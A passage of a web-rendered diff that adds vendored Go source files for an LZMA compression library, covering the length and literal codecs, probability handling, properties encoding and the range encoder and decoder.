lc.mid[i] = makeTreeCodec(3)
|
||||
}
|
||||
lc.high = makeTreeCodec(8)
|
||||
}
|
||||
|
||||
// Encode encodes the length offset. The length offset l can be compute by
|
||||
// subtracting minMatchLen (2) from the actual length.
|
||||
//
|
||||
// l = length - minMatchLen
|
||||
func (lc *lengthCodec) Encode(e *rangeEncoder, l uint32, posState uint32,
|
||||
) (err error) {
|
||||
if l > maxMatchLen-minMatchLen {
|
||||
return errors.New("lengthCodec.Encode: l out of range")
|
||||
}
|
||||
if l < 8 {
|
||||
if err = lc.choice[0].Encode(e, 0); err != nil {
|
||||
return
|
||||
}
|
||||
return lc.low[posState].Encode(e, l)
|
||||
}
|
||||
if err = lc.choice[0].Encode(e, 1); err != nil {
|
||||
return
|
||||
}
|
||||
if l < 16 {
|
||||
if err = lc.choice[1].Encode(e, 0); err != nil {
|
||||
return
|
||||
}
|
||||
return lc.mid[posState].Encode(e, l-8)
|
||||
}
|
||||
if err = lc.choice[1].Encode(e, 1); err != nil {
|
||||
return
|
||||
}
|
||||
if err = lc.high.Encode(e, l-16); err != nil {
|
||||
return
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Decode reads the length offset. Add minMatchLen to compute the actual length
|
||||
// to the length offset l.
|
||||
func (lc *lengthCodec) Decode(d *rangeDecoder, posState uint32,
|
||||
) (l uint32, err error) {
|
||||
var b uint32
|
||||
if b, err = lc.choice[0].Decode(d); err != nil {
|
||||
return
|
||||
}
|
||||
if b == 0 {
|
||||
l, err = lc.low[posState].Decode(d)
|
||||
return
|
||||
}
|
||||
if b, err = lc.choice[1].Decode(d); err != nil {
|
||||
return
|
||||
}
|
||||
if b == 0 {
|
||||
l, err = lc.mid[posState].Decode(d)
|
||||
l += 8
|
||||
return
|
||||
}
|
||||
l, err = lc.high.Decode(d)
|
||||
l += 16
|
||||
return
|
||||
}
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
// literalCodec supports the encoding of literal. It provides 768 probability
|
||||
// values per literal state. The upper 512 probabilities are used with the
|
||||
// context of a match bit.
|
||||
type literalCodec struct {
|
||||
probs []prob
|
||||
}
|
||||
|
||||
// deepcopy initializes literal codec c as a deep copy of the source.
|
||||
func (c *literalCodec) deepcopy(src *literalCodec) {
|
||||
if c == src {
|
||||
return
|
||||
}
|
||||
c.probs = make([]prob, len(src.probs))
|
||||
copy(c.probs, src.probs)
|
||||
}
|
||||
|
||||
// init initializes the literal codec.
|
||||
func (c *literalCodec) init(lc, lp int) {
|
||||
switch {
|
||||
case !(minLC <= lc && lc <= maxLC):
|
||||
panic("lc out of range")
|
||||
case !(minLP <= lp && lp <= maxLP):
|
||||
panic("lp out of range")
|
||||
}
|
||||
c.probs = make([]prob, 0x300<<uint(lc+lp))
|
||||
for i := range c.probs {
|
||||
c.probs[i] = probInit
|
||||
}
|
||||
}
|
||||
|
||||
// Encode encodes the byte s using a range encoder as well as the current LZMA
|
||||
// encoder state, a match byte and the literal state.
|
||||
func (c *literalCodec) Encode(e *rangeEncoder, s byte,
|
||||
state uint32, match byte, litState uint32,
|
||||
) (err error) {
|
||||
k := litState * 0x300
|
||||
probs := c.probs[k : k+0x300]
|
||||
symbol := uint32(1)
|
||||
r := uint32(s)
|
||||
if state >= 7 {
|
||||
m := uint32(match)
|
||||
for {
|
||||
matchBit := (m >> 7) & 1
|
||||
m <<= 1
|
||||
bit := (r >> 7) & 1
|
||||
r <<= 1
|
||||
i := ((1 + matchBit) << 8) | symbol
|
||||
if err = probs[i].Encode(e, bit); err != nil {
|
||||
return
|
||||
}
|
||||
symbol = (symbol << 1) | bit
|
||||
if matchBit != bit {
|
||||
break
|
||||
}
|
||||
if symbol >= 0x100 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
for symbol < 0x100 {
|
||||
bit := (r >> 7) & 1
|
||||
r <<= 1
|
||||
if err = probs[symbol].Encode(e, bit); err != nil {
|
||||
return
|
||||
}
|
||||
symbol = (symbol << 1) | bit
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Decode decodes a literal byte using the range decoder as well as the LZMA
|
||||
// state, a match byte, and the literal state.
|
||||
func (c *literalCodec) Decode(d *rangeDecoder,
|
||||
state uint32, match byte, litState uint32,
|
||||
) (s byte, err error) {
|
||||
k := litState * 0x300
|
||||
probs := c.probs[k : k+0x300]
|
||||
symbol := uint32(1)
|
||||
if state >= 7 {
|
||||
m := uint32(match)
|
||||
for {
|
||||
matchBit := (m >> 7) & 1
|
||||
m <<= 1
|
||||
i := ((1 + matchBit) << 8) | symbol
|
||||
bit, err := d.DecodeBit(&probs[i])
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
symbol = (symbol << 1) | bit
|
||||
if matchBit != bit {
|
||||
break
|
||||
}
|
||||
if symbol >= 0x100 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
for symbol < 0x100 {
|
||||
bit, err := d.DecodeBit(&probs[symbol])
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
symbol = (symbol << 1) | bit
|
||||
}
|
||||
s = byte(symbol - 0x100)
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// minLC and maxLC define the range for LC values.
|
||||
const (
|
||||
minLC = 0
|
||||
maxLC = 8
|
||||
)
|
||||
|
||||
// minLC and maxLC define the range for LP values.
|
||||
const (
|
||||
minLP = 0
|
||||
maxLP = 4
|
||||
)
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import "errors"
|
||||
|
||||
// MatchAlgorithm identifies an algorithm to find matches in the
|
||||
// dictionary.
|
||||
type MatchAlgorithm byte
|
||||
|
||||
// Supported matcher algorithms.
|
||||
const (
|
||||
HashTable4 MatchAlgorithm = iota
|
||||
BinaryTree
|
||||
)
|
||||
|
||||
// maStrings are used by the String method.
|
||||
var maStrings = map[MatchAlgorithm]string{
|
||||
HashTable4: "HashTable4",
|
||||
BinaryTree: "BinaryTree",
|
||||
}
|
||||
|
||||
// String returns a string representation of the Matcher.
|
||||
func (a MatchAlgorithm) String() string {
|
||||
if s, ok := maStrings[a]; ok {
|
||||
return s
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
var errUnsupportedMatchAlgorithm = errors.New(
|
||||
"lzma: unsupported match algorithm value")
|
||||
|
||||
// verify checks whether the matcher value is supported.
|
||||
func (a MatchAlgorithm) verify() error {
|
||||
if _, ok := maStrings[a]; !ok {
|
||||
return errUnsupportedMatchAlgorithm
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a MatchAlgorithm) new(dictCap int) (m matcher, err error) {
|
||||
switch a {
|
||||
case HashTable4:
|
||||
return newHashTable(dictCap, 4)
|
||||
case BinaryTree:
|
||||
return newBinTree(dictCap)
|
||||
}
|
||||
return nil, errUnsupportedMatchAlgorithm
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
// operation represents an operation on the dictionary during encoding or
|
||||
// decoding.
|
||||
type operation interface {
|
||||
Len() int
|
||||
}
|
||||
|
||||
// rep represents a repetition at the given distance and the given length
|
||||
type match struct {
|
||||
// supports all possible distance values, including the eos marker
|
||||
distance int64
|
||||
// length
|
||||
n int
|
||||
}
|
||||
|
||||
// Len returns the number of bytes matched.
|
||||
func (m match) Len() int {
|
||||
return m.n
|
||||
}
|
||||
|
||||
// String returns a string representation for the repetition.
|
||||
func (m match) String() string {
|
||||
return fmt.Sprintf("M{%d,%d}", m.distance, m.n)
|
||||
}
|
||||
|
||||
// lit represents a single byte literal.
|
||||
type lit struct {
|
||||
b byte
|
||||
}
|
||||
|
||||
// Len returns 1 for the single byte literal.
|
||||
func (l lit) Len() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// String returns a string representation for the literal.
|
||||
func (l lit) String() string {
|
||||
var c byte
|
||||
if unicode.IsPrint(rune(l.b)) {
|
||||
c = l.b
|
||||
} else {
|
||||
c = '.'
|
||||
}
|
||||
return fmt.Sprintf("L{%c/%02x}", c, l.b)
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
// movebits defines the number of bits used for the updates of probability
|
||||
// values.
|
||||
const movebits = 5
|
||||
|
||||
// probbits defines the number of bits of a probability value.
|
||||
const probbits = 11
|
||||
|
||||
// probInit defines 0.5 as initial value for prob values.
|
||||
const probInit prob = 1 << (probbits - 1)
|
||||
|
||||
// Type prob represents probabilities. The type can also be used to encode and
|
||||
// decode single bits.
|
||||
type prob uint16
|
||||
|
||||
// Dec decreases the probability. The decrease is proportional to the
|
||||
// probability value.
|
||||
func (p *prob) dec() {
|
||||
*p -= *p >> movebits
|
||||
}
|
||||
|
||||
// Inc increases the probability. The Increase is proportional to the
|
||||
// difference of 1 and the probability value.
|
||||
func (p *prob) inc() {
|
||||
*p += ((1 << probbits) - *p) >> movebits
|
||||
}
|
||||
|
||||
// Computes the new bound for a given range using the probability value.
|
||||
func (p prob) bound(r uint32) uint32 {
|
||||
return (r >> probbits) * uint32(p)
|
||||
}
|
||||
|
||||
// Bits returns 1. One is the number of bits that can be encoded or decoded
|
||||
// with a single prob value.
|
||||
func (p prob) Bits() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// Encode encodes the least-significant bit of v. Note that the p value will be
|
||||
// changed.
|
||||
func (p *prob) Encode(e *rangeEncoder, v uint32) error {
|
||||
return e.EncodeBit(v, p)
|
||||
}
|
||||
|
||||
// Decode decodes a single bit. Note that the p value will change.
|
||||
func (p *prob) Decode(d *rangeDecoder) (v uint32, err error) {
|
||||
return d.DecodeBit(p)
|
||||
}
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// maximum and minimum values for the LZMA properties.
|
||||
const (
|
||||
minPB = 0
|
||||
maxPB = 4
|
||||
)
|
||||
|
||||
// maxPropertyCode is the possible maximum of a properties code byte.
|
||||
const maxPropertyCode = (maxPB+1)*(maxLP+1)*(maxLC+1) - 1
|
||||
|
||||
// Properties contains the parameters LC, LP and PB. The parameter LC
|
||||
// defines the number of literal context bits; parameter LP the number
|
||||
// of literal position bits and PB the number of position bits.
|
||||
type Properties struct {
|
||||
LC int
|
||||
LP int
|
||||
PB int
|
||||
}
|
||||
|
||||
// String returns the properties in a string representation.
|
||||
func (p *Properties) String() string {
|
||||
return fmt.Sprintf("LC %d LP %d PB %d", p.LC, p.LP, p.PB)
|
||||
}
|
||||
|
||||
// PropertiesForCode converts a properties code byte into a Properties value.
|
||||
func PropertiesForCode(code byte) (p Properties, err error) {
|
||||
if code > maxPropertyCode {
|
||||
return p, errors.New("lzma: invalid properties code")
|
||||
}
|
||||
p.LC = int(code % 9)
|
||||
code /= 9
|
||||
p.LP = int(code % 5)
|
||||
code /= 5
|
||||
p.PB = int(code % 5)
|
||||
return p, err
|
||||
}
|
||||
|
||||
// verify checks the properties for correctness.
|
||||
func (p *Properties) verify() error {
|
||||
if p == nil {
|
||||
return errors.New("lzma: properties are nil")
|
||||
}
|
||||
if !(minLC <= p.LC && p.LC <= maxLC) {
|
||||
return errors.New("lzma: lc out of range")
|
||||
}
|
||||
if !(minLP <= p.LP && p.LP <= maxLP) {
|
||||
return errors.New("lzma: lp out of range")
|
||||
}
|
||||
if !(minPB <= p.PB && p.PB <= maxPB) {
|
||||
return errors.New("lzma: pb out of range")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Code converts the properties to a byte. The function assumes that
|
||||
// the properties components are all in range.
|
||||
func (p Properties) Code() byte {
|
||||
return byte((p.PB*5+p.LP)*9 + p.LC)
|
||||
}
|
||||
+222
@@ -0,0 +1,222 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// rangeEncoder implements range encoding of single bits. The low value can
|
||||
// overflow therefore we need uint64. The cache value is used to handle
|
||||
// overflows.
|
||||
type rangeEncoder struct {
|
||||
lbw *LimitedByteWriter
|
||||
nrange uint32
|
||||
low uint64
|
||||
cacheLen int64
|
||||
cache byte
|
||||
}
|
||||
|
||||
// maxInt64 provides the maximal value of the int64 type
|
||||
const maxInt64 = 1<<63 - 1
|
||||
|
||||
// newRangeEncoder creates a new range encoder.
|
||||
func newRangeEncoder(bw io.ByteWriter) (re *rangeEncoder, err error) {
|
||||
lbw, ok := bw.(*LimitedByteWriter)
|
||||
if !ok {
|
||||
lbw = &LimitedByteWriter{BW: bw, N: maxInt64}
|
||||
}
|
||||
return &rangeEncoder{
|
||||
lbw: lbw,
|
||||
nrange: 0xffffffff,
|
||||
cacheLen: 1}, nil
|
||||
}
|
||||
|
||||
// Available returns the number of bytes that still can be written. The
|
||||
// method takes the bytes that will be currently written by Close into
|
||||
// account.
|
||||
func (e *rangeEncoder) Available() int64 {
|
||||
return e.lbw.N - (e.cacheLen + 4)
|
||||
}
|
||||
|
||||
// writeByte writes a single byte to the underlying writer. An error is
|
||||
// returned if the limit is reached. The written byte will be counted if
|
||||
// the underlying writer doesn't return an error.
|
||||
func (e *rangeEncoder) writeByte(c byte) error {
|
||||
if e.Available() < 1 {
|
||||
return ErrLimit
|
||||
}
|
||||
return e.lbw.WriteByte(c)
|
||||
}
|
||||
|
||||
// DirectEncodeBit encodes the least-significant bit of b with probability 1/2.
|
||||
func (e *rangeEncoder) DirectEncodeBit(b uint32) error {
|
||||
e.nrange >>= 1
|
||||
e.low += uint64(e.nrange) & (0 - (uint64(b) & 1))
|
||||
|
||||
// normalize
|
||||
const top = 1 << 24
|
||||
if e.nrange >= top {
|
||||
return nil
|
||||
}
|
||||
e.nrange <<= 8
|
||||
return e.shiftLow()
|
||||
}
|
||||
|
||||
// EncodeBit encodes the least significant bit of b. The p value will be
|
||||
// updated by the function depending on the bit encoded.
|
||||
func (e *rangeEncoder) EncodeBit(b uint32, p *prob) error {
|
||||
bound := p.bound(e.nrange)
|
||||
if b&1 == 0 {
|
||||
e.nrange = bound
|
||||
p.inc()
|
||||
} else {
|
||||
e.low += uint64(bound)
|
||||
e.nrange -= bound
|
||||
p.dec()
|
||||
}
|
||||
|
||||
// normalize
|
||||
const top = 1 << 24
|
||||
if e.nrange >= top {
|
||||
return nil
|
||||
}
|
||||
e.nrange <<= 8
|
||||
return e.shiftLow()
|
||||
}
|
||||
|
||||
// Close writes a complete copy of the low value.
|
||||
func (e *rangeEncoder) Close() error {
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := e.shiftLow(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// shiftLow shifts the low value for 8 bit. The shifted byte is written into
|
||||
// the byte writer. The cache value is used to handle overflows.
|
||||
func (e *rangeEncoder) shiftLow() error {
|
||||
if uint32(e.low) < 0xff000000 || (e.low>>32) != 0 {
|
||||
tmp := e.cache
|
||||
for {
|
||||
err := e.writeByte(tmp + byte(e.low>>32))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmp = 0xff
|
||||
e.cacheLen--
|
||||
if e.cacheLen <= 0 {
|
||||
if e.cacheLen < 0 {
|
||||
panic("negative cacheLen")
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
e.cache = byte(uint32(e.low) >> 24)
|
||||
}
|
||||
e.cacheLen++
|
||||
e.low = uint64(uint32(e.low) << 8)
|
||||
return nil
|
||||
}
|
||||
|
||||
// rangeDecoder decodes single bits of the range encoding stream.
|
||||
type rangeDecoder struct {
|
||||
br io.ByteReader
|
||||
nrange uint32
|
||||
code uint32
|
||||
}
|
||||
|
||||
// newRangeDecoder initializes a range decoder. It reads five bytes from the
|
||||
// reader and therefore may return an error.
|
||||
func newRangeDecoder(br io.ByteReader) (d *rangeDecoder, err error) {
|
||||
d = &rangeDecoder{br: br, nrange: 0xffffffff}
|
||||
|
||||
b, err := d.br.ReadByte()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if b != 0 {
|
||||
return nil, errors.New("newRangeDecoder: first byte not zero")
|
||||
}
|
||||
|
||||
for i := 0; i < 4; i++ {
|
||||
if err = d.updateCode(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if d.code >= d.nrange {
|
||||
return nil, errors.New("newRangeDecoder: d.code >= d.nrange")
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// possiblyAtEnd checks whether the decoder may be at the end of the stream.
|
||||
func (d *rangeDecoder) possiblyAtEnd() bool {
|
||||
return d.code == 0
|
||||
}
|
||||
|
||||
// DirectDecodeBit decodes a bit with probability 1/2. The return value b will
|
||||
// contain the bit at the least-significant position. All other bits will be
|
||||
// zero.
|
||||
func (d *rangeDecoder) DirectDecodeBit() (b uint32, err error) {
|
||||
d.nrange >>= 1
|
||||
d.code -= d.nrange
|
||||
t := 0 - (d.code >> 31)
|
||||
d.code += d.nrange & t
|
||||
b = (t + 1) & 1
|
||||
|
||||
// d.code will stay less then d.nrange
|
||||
|
||||
// normalize
|
||||
// assume d.code < d.nrange
|
||||
const top = 1 << 24
|
||||
if d.nrange >= top {
|
||||
return b, nil
|
||||
}
|
||||
d.nrange <<= 8
|
||||
// d.code < d.nrange will be maintained
|
||||
return b, d.updateCode()
|
||||
}
|
||||
|
||||
// decodeBit decodes a single bit. The bit will be returned at the
|
||||
// least-significant position. All other bits will be zero. The probability
|
||||
// value will be updated.
|
||||
func (d *rangeDecoder) DecodeBit(p *prob) (b uint32, err error) {
|
||||
bound := p.bound(d.nrange)
|
||||
if d.code < bound {
|
||||
d.nrange = bound
|
||||
p.inc()
|
||||
b = 0
|
||||
} else {
|
||||
d.code -= bound
|
||||
d.nrange -= bound
|
||||
p.dec()
|
||||
b = 1
|
||||
}
|
||||
// normalize
|
||||
// assume d.code < d.nrange
|
||||
const top = 1 << 24
|
||||
if d.nrange >= top {
|
||||
return b, nil
|
||||
}
|
||||
d.nrange <<= 8
|
||||
// d.code < d.nrange will be maintained
|
||||
return b, d.updateCode()
|
||||
}
|
||||
|
||||
// updateCode reads a new byte into the code.
|
||||
func (d *rangeDecoder) updateCode() error {
|
||||
b, err := d.br.ReadByte()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.code = (d.code << 8) | uint32(b)
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 112 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user